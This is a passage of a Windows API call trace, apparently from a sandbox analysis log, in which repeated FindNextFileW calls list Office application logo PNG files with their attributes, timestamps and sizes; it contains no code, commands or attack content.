lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-140.png", cAlternateFileName="MSD79A~1.PNG")) returned 1 [0188.037] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-180.png", cAlternateFileName="MS99FA~1.PNG")) returned 1 [0188.037] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-80.png", cAlternateFileName="MSC667~1.PNG")) returned 1 [0188.037] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-100.png", cAlternateFileName="ONAFA7~1.PNG")) returned 1 [0188.037] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-140.png", cAlternateFileName="ON5141~1.PNG")) returned 1 [0188.037] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-180.png", cAlternateFileName="ON04BC~1.PNG")) returned 1 [0188.037] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-80.png", cAlternateFileName="ONBA8A~1.PNG")) returned 1 [0188.037] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x896, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-100.png", cAlternateFileName="ON2104~1.PNG")) returned 1 [0188.037] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-140.png", cAlternateFileName="ONENOT~1.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-180.png", cAlternateFileName="ON8260~1.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x806, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-80.png", cAlternateFileName="ONENOT~4.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-100.png", cAlternateFileName="ONENOT~3.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae7, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-140.png", cAlternateFileName="ONENOT~2.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd46, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-180.png", cAlternateFileName="ON52BA~1.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x80d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-80.png", cAlternateFileName="ONF020~1.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-100.png", cAlternateFileName="ON193B~1.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-140.png", cAlternateFileName="ON585A~1.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-180.png", cAlternateFileName="ON9A29~1.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x605, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-80.png", cAlternateFileName="ON3426~1.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-100.png", cAlternateFileName="ON2492~1.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-140.png", cAlternateFileName="OND60E~1.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-180.png", cAlternateFileName="ON19DC~1.PNG")) returned 1 [0188.038] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-80.png", cAlternateFileName="ONB09A~1.PNG")) returned 1 [0188.039] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x782, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-100.png", cAlternateFileName="ON8AF0~1.PNG")) returned 1 [0188.039] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-140.png", cAlternateFileName="ON4822~1.PNG")) returned 1 [0188.045] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-180.png", cAlternateFileName="ON95B6~1.PNG")) returned 1 [0188.045] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-80.png", cAlternateFileName="ON8B9B~1.PNG")) returned 1 [0188.045] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-100.png", cAlternateFileName="OU5D17~1.PNG")) returned 1 [0188.045] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-140.png", cAlternateFileName="OUTLOO~1.PNG")) returned 1 [0188.045] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-180.png", cAlternateFileName="OU4261~1.PNG")) returned 1 [0188.045] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-80.png", cAlternateFileName="OUTLOO~4.PNG")) returned 1 [0188.045] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-100.png", cAlternateFileName="OUTLOO~3.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-140.png", cAlternateFileName="OUTLOO~2.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-180.png", cAlternateFileName="OUC015~1.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b250ebf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b250ebf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b250ebf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-80.png", cAlternateFileName="OU197C~1.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa86, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-100.png", cAlternateFileName="OUBE28~1.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe66, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-140.png", cAlternateFileName="OU7C59~1.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1155, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-180.png", cAlternateFileName="OUC9ED~1.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x955, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-80.png", cAlternateFileName="OU52E3~1.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-100.png", cAlternateFileName="OU0B90~1.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-140.png", cAlternateFileName="OU396E~1.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-180.png", cAlternateFileName="OU86F2~1.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-80.png", cAlternateFileName="OU0B51~1.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: 